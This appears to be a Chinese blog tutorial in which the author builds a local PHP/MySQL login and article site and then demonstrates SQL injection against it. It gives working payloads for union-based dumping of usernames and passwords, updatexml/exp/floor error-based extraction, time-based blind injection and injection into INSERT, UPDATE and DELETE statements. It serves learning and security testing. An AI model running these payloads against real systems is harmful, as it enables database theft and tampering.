第一节 SQL基础
0x1 sql基本语法
sql作用
curd 通过sql语句,和数据库交互,实现增删改查操作
数据库
是一种软件,将数据以一定的格式保存在磁盘中,方便人们进行数据操作
数据库一般分为
- 关系型数据库
- 非关系型数据库
关系型数据库
采用了关系模型组织数据的数据库
二维模型可以简单理解为二维表格模型
常见的代表软件有:
Oracle
MySQL
Maria DB 作为MySQL开源版本使用
SQL server
微软数据库软件,win中广泛使用
access
office产品数据库,后缀一般为mdb
非关系型数据库
也叫Nosql,泛指非关系型数据库
为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题
典型代表
- Membase
- MongoDB
数据库与SQL
本地数据库
这里我们使用PHP study里面的MySQL,点击启动
使用navicat建立数据库和数据表
我们在创建数据表时,可以将id设为键,然后递增
这时候我们双击表格名字,就能看到它里面的数据,这些数据其实是软件帮我们执行了SQL语句后拿到的返回值填充到了可视化表格中
使用SQL语句查询数据
打开命令行界面,执行我们第一个SQL语句
select id,username,password from user;
0x2 php操作数据库
php连接MySQL数据库
1 |
|
这时候我们访问127.0.0.1/conn.php
.发现连接成功
使用php建立登录界面
首先我们写一个登陆的前端页面
1 |
|
建立登录验证功能
1 |
|
增加文章录入功能
1 | <?php |
增加文章内容列表
1 | <?php |
显示文章详情
1 | <?php |
增加文章编辑功能
1 | <?php |
增加删除功能
1 |
|
增加连接,提升可用性
我们加几个<a>
1 | <a href="index.html" style="color: tomato">首页</a> |
设置权限
加个check.php
1 |
|
增加退出功能
1 |
|
0x3 总结
SQL语句
sql语句对数据库的增删改查,一般使用
select id,username,passw from user;
update page set title = 'page1',content='content1' where id = 1;
delete from page where id = 1;
insert into page (title,content) values('page','content');
PHP语句
conn = new mysqli()
连接数据库
conn->query()
result->fetch_all()
result->fetch_array()
多个用fetch_all()
第二节 sql注入
0x4 sql注入产生
动态页面中,get或者post提交参数,这个参数进入到了sql语句进行了数据库查询
简言之:非可信字符直接拼接进sql语句进行数据查询,就会造成sql注入
0x5 sql注入的危害
- 歪曲sql语句的查询结果
- 泄露数据库中的敏感数据
- 干扰查询结果绕过权限检查
- 通过文件操作写入恶意代码
0x6 sql注入类型
数字型注入和union联合注入
数字型注入
http://127.0.0.1/page_detail.php?id=1%2b2
http://127.0.0.1/page_detail.php?id=2-1
如果可以查询到id=3和1的数据,就可以说明这里存在数字型注入,就可以与union联合注入相结合
union联合注入
select id,title,content from page union select id,username,password from user;
我们可以看到
同理我们回到我们网站http://127.0.0.1/page_detail.php?id=1 union select id,username,password from user;
很遗憾这里没有显示出我们想要的数据
因为在网页中这里只能显示出两条数据,我们可以加个limit
来限制显示的哪两条数据
比如这里
就可以展现出我们想要的数据
当然我们也可以使用group_concat
将所有的数据写入到一行输出
那么问题又来了,如果我们不知道列名,表名甚至连几列都不知道,这时候我们可以用个order by
我们使用http://127.0.0.1/page_detail.php?id=1 order by 1
从1开始增加,一直增加到4
这时候没有回显了,就可以说明我们这个数据表有四列
那么我们怎么得到表名呢?在我们的MySQL里边有一个数据表是专门用来存表名的,在我们的information_schema里有一个TABLES,里面存着所有表的名字,在最后我们可以找到我们数据表的名字
那么怎么查这个表名呢,我们可以这样
同理,我们回到我们的web页面 payload:1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,1
问题继续产生,怎么查询我们的列名呢 payload:1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3 limit 1,1
这样我们就可以拿到我们列名,就可以按照最开始的查询语句来查询我们想要的数据
附上一张我们的结构图,方便查询我们需要的表名,列名
字符型注入和布尔盲注
字符型注入
字符型注入和数字型注入最大的区别就是引号的包裹,我们修改下我们的page_detail.php
中的id
参数
改为
1 | $sql = "select id,title,content from page where id = '$id'"; |
那么我们怎么来判断是字符型注入呢
首先我们看一下
然后看一下1a
但是如果我们源码里是数字型的话,这边应该是没有任何数据返回的
这里我们会发现着两组数据是一样的,接下来我们看a1
这时候我们会发现并没有任何回显,那么这是为什么呢,我们来到MySQL试一下
字符串转为数字后是拿第一位来判断,如果第一位是数字,那么字符串就是数字如果是字母,那么1=a
显然不对,返回0
字符型SQL注入重点就是要闭合单引号或者双引号
布尔盲注
当我们没有明显的回显点,只能得到两种结果,比如页面报错/页面没报错,这时候,我们可以用布尔盲注来猜
- 当我们猜对的时候,页面没有报错
- 当我们猜错的时候,页面报错
基于这个原理,我们能够通过发送大量请求,来猜出所有的数据
这里我们可以拿login.php来试一下,这里我们需要用一个or
,在SQL中,or
前后只要成立一条命令,该命令就成立;我们还需要用到一个substr()
,用于截取对应字段的指定长度
SUBSTR(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)
比如
基于这个道理,我么就可以判断出用户第一位是a
,我们也就可以写一个bool盲注的脚本,来猜出我们的用户名
1 | import requests |
报错注入
没有回显的情况下,获取数据时,使用布尔盲注需要发送多次请求,效率比较低,我们可以尝试根据报错信息带出数据
只要我们把需要的数据写入报错信息中,页面中显示报错信息的时候,就会把我们所需要的数据带出来
所以,报错信息,一定程度上也可以看作是一种通道
首先修改一下我们的login.php
,增加如下代码
1 | if($conn->errno>0){ |
updatexml报错
函数updatexml(XML_document,XPath_string,new_value)包含三个函数
第一个参数是string格式,为XML文档对象名称,例如doc
第二个参数是路径
第三个参数是替换查找符合条件的数据
原理:输入错误的第二个参数,更改路径的符号,使其报错带出我们想要的数据
payload:username=123' or updatexml(1, concat('[',(select user()),']'),3)%23&password=123
那么问题来了,这个[]
or{}
甚至是~
的作用是什么,根据updatexml函数可以看出,第二条数据是xpath,Xpath是一门从html中提取数据的语言,这里我们们如果不加符号,会发现无法返回想要的数据,而这些符号的作用就是选中这些区块,使他们成为一个整体,然后从HTML中显示出来
同理,我们可以拿到表名 payload:username=123' or updatexml(1, concat('[',(select group_concat(table_name)from information_schema.tables where table_schema=database()),']'),3)%23&password=123
如果flag过长无法显示时,我们可以使用这种方法1 union select 1,updatexml(1,concat('[',right((select flag from sqli.flag),31),']'),1)
意思是从右边读取31位,两部分拼接起来就可以了
floor 报错
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
整数溢出报错
exp报错
基于一个数学函数,取e的x次方,当我们输入的值大于709就报错,适用版本:5.5.5
5.5.49,取反运算符的值总会大于709
注意:这里必须使用嵌套,因为不适用嵌套不加select * from
无法大于整数溢出
payload:username=123' and exp(~(select*from(select group_concat(table_name)from information_schema.tables where table_schema=database())a))%23&password=123
pow报错
pow函数简介:
- 功能: 计算x的y次幂.
- 返回值: x不能为负数且y为小数, 或者x为0且y小于等于0,返回幂指数的结果
- 返回类型: double型, int,float会给予警告
pow(x,y)表示计算x的y次方,当计算值过大时,会发生double溢出,数据库报错
cot报错
cot函数简介:
cot函数是三角函数,cot坐标系表示: cotθ=x/y,在三角函数中cotθ=cosθ/sinθ
x取值无限接近于0和Π的整数倍,取0或Π的整数倍报错
payload:select * from user where username='1' and 1=1 and cot(0);
不存在函数报错
如图
我们就能拿到数据库的名字
堆叠注入
如果目标开启了多语句执行的时候,可以采用多语句执行的方式修改数据库的任意结构和数据,这种特殊的注入就是堆叠注入
堆叠注入一般用分号;
来分割多条语句,堆叠注入的情况下,还可以进行变量定义、定义存储过程、实现复杂语句等高级功能
最简单的堆叠注入如下:
select * from user;select * from page;
这里和联合注入的最大区别就是
而且堆叠注入的两条语句可以查询不同的列数,但是联合查询的列数必须是相同的
时间盲注
基于时间的盲注,总体思路和布尔盲注有些类似,通过sleep
等函数的使用,在满足猜测条件时,人工进行延时,通过延时这种信号来反映出我们猜测的结果
所以,在一定程度上页面发响应的时间也可以作为一种信道来使用
基于时间延时的盲注: SLEEP
函数sleep,使用说明:
睡眠(暂停)时间为duration参数给定的秒数,然后返回0,若sleep()被中断,它会返回1
select * from table where id=1 and sleep();
因为这里用and连接,虽然成功执行了sleep(1),但是执行sleep函数返回的是0,所以查询语句无法正确执行
or在匹配时会匹配所有的数据,由于这里我们不止有id=1的数据,所以会在4.04秒后才执行完毕
配合if条件触发延时
IF(expr1,expr2,expr3)
如果expr1是true(expr1<>0 and expr1<>NULL),则IF()的返回值为expr2; 否则返回值则为expr3. IF() 的返回值为数字值或字符串值, 具体情况视其所在语句而定.
意思是查询,然后如果2>1就sleep1秒,否则就替换为1
或者可以这么说,如果2>1就返回1,否则就替换为0
同理可得,配合布尔盲注
截取函数
substring()
和substr()
SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
substr(string,start,lenth) 参数同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
substring_index()
substring_index(str,delmi,count) 说明:substring_index(被截取的字段,关键字,关键字出现的次数)
配合select case when条件触发
SQL CASE表达式是一种通用的条件表达式,类似于其他语言中的if/else语句
例如:
select case when username="admin THEN'admin ' ELSE 'xxx' end from user";
select case when username="admin" THEN 'aaa' ELSE (sleep(3)) end from user;
基于时间延时的盲注:逐字注入
能够截取字符串,同时能触发延时即可
select * from table where id =1 and (if(substr(database(),1,1)='u',sleep(3),null));
select * from table where id =1 and (if(ascii(substr(database(),1,1))=100,sleep(3),null));
基于时间延时的盲注:benchmark
除了sleep之外的时间延时注入,还有BENCHMARK(count,expr)
BENCHMARK()函数重复count次执行表达式expr。它可以被用于计算MySQL处理表达式的速度。结果通常为0
select benchmark(10000000,sha(1));
基于时间延时的盲注:笛卡尔积
除了sleep之外的时间延时注入,还有笛卡尔积
笛卡尔乘积是指在数学中,两个集合X和Y的笛卡尔积(Cartesian product),又称直积,表示为X×Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员 [3] 。
假设集合A={a, b},集合B={0, 1, 2},则两个集合的笛卡尔积为{(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}。
类似的例子有,如果A表示某学校学生的集合,B表示该学校所有课程的集合,则A与B的笛卡尔积表示所有可能的选课情况。A表示所有声母的集合,B表示所有韵母的集合,那么A和B的笛卡尔积就为所有可能的汉字全拼。
设A,B为集合,用A中元素为第一元素,B中元素为第二元素构成有序对,所有这样的有序对组成的集合叫做A与B的笛卡尔积,记作AxB.
笛卡尔积的符号化为:
A×B={(x,y)|x∈A∧y∈B}
例如,A={a,b}, B={0,1,2},则
A×B={(a, 0), (a, 1), (a, 2), (b, 0), (b, 1), (b, 2)}
B×A={(0, a), (0, b), (1, a), (1, b), (2, a), (2, b)}
slect count(*) from user A,user B;
基于时间延时的盲注:get_lock()
除了sleep之外的时间延时注入,还有:GET_LOCK(str,timeout)
说明:设法使用字符串str给定的名字得到一个锁,超时为timeout秒
select get_lock('a',10);
tip: 设置锁后需要重新开一个窗口并且是长连接才会有效
基于时间延时的盲注:RLIKE
除了sleep之外的时间延时注入,还有:RLIKE
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeats的参数可以控制延时长短
二次注入
针对无法直接注入的情况,通过把sql语句注入到数据库中,当程序从数据库中拿出数据的时候,默认是安全的,这时候进行拼接的时候,就会出现二次注入的情况
0x7 不同的注入点的对应技巧
注入点拼接在sql语句的不同位置,sql注入的利用方式也不尽相同,这里我们研究不同位置下的sql注入
select注入
附官方文档:https://docs.oracle.com/cd/E17952_01/mysql-5.6-en/select.html
1 | SELECT |
注入点在select之后,from之前
可以通过as
别名将数据直接覆盖带出,比如正常查询是这样的
select username from user;
我们就可以这样利用select (select password) as username from user;
注入点在引用表
这里分两种情况,如果表名被反引号包裹,需要现闭合反引号,这时候我们可以子查询
正常情况为:select title, content from page
加入子查询后:select title,content from (select user() as title,'aaa' as content) as b;
这样就可以通过title列把user()数据带出
注入点在where条件以后
这里我们可以使用union联合查询
注入点在group by或者order by之后
正常情况下为:select id,title,content from page order by 注入点;
这里可以配合时间盲注select id,title,content from page order by id ,if(substr((select username from user where id =1),1,1)='a' ,sleep(1),1);
注入点在limit之后
select id,title,content from page order by id limit 注入点;
由于limit之后,只能是数字,可以使用procedure analyse
语法来实现报错注入,但是这种方式只能是MySQL5.6以前使用
select title,content from page limit 1 procedure analyse(updatexml(1,concat(0x3a,version(),0x3a),1));
insert注入
附官方文档:https://docs.oracle.com/cd/E17952_01/mysql-5.6-en/insert.html
1 | INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] |
注入点在要插入的表名
通过劫持要插入的表,可以增加文章,这时候也可以增加一个用户表数据进去
正常情况下这样:insert into page (title,content) values("page1","content1");
当我们可以控制表名的时候,就可以劫持插入insert into user(username,password) values("111","111");#(title,content) values("page1","content1");
注入点在插入的值
insert into page(title,content) values("注入点","xxx");
insert into page(title,content) values("123","123"),("456",(select user()));#","xxx");
update注入
注入点在set后边
和上面insert利用方法相似,可以通过修改多条数据实现数据回显
update page set title = "注入点" where id = 1;
我们可以通过这种方式注入
update page set title = "123",content = (select user()) where id = 5 ;#" where id = 1;
注入后,我们可以实现
update page set title = "123", content = (select user()) where id = 5;
注入点在values后面
如果注入点在value中,我们同样可以闭合括号,实现多个记录的修改,类似于insert方法
delete注入
注入点在where之后
这里如果不小心就会删除表内所有的数据,所以需要一个特别的技巧
由于select sleep(1);
恒返回0,所以在delete注入时,要确保不会影响表数据,造成下次没办法利用,所以我可以在注入点后
delete from page where id = 1 and sleep(1);
确保不会真的删除表数据
delete from page where id = 1 1 or updatexml(1, concat(0x7e, database()), 0) and sleep(1);
注入点在表名中
可以使用报错注入回显数据,避免数据被删除
- Post title: Web_5_SQL注入
- Create time: 2022-10-01 00:00:00
- Post link: 2022/10/01/web_5/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.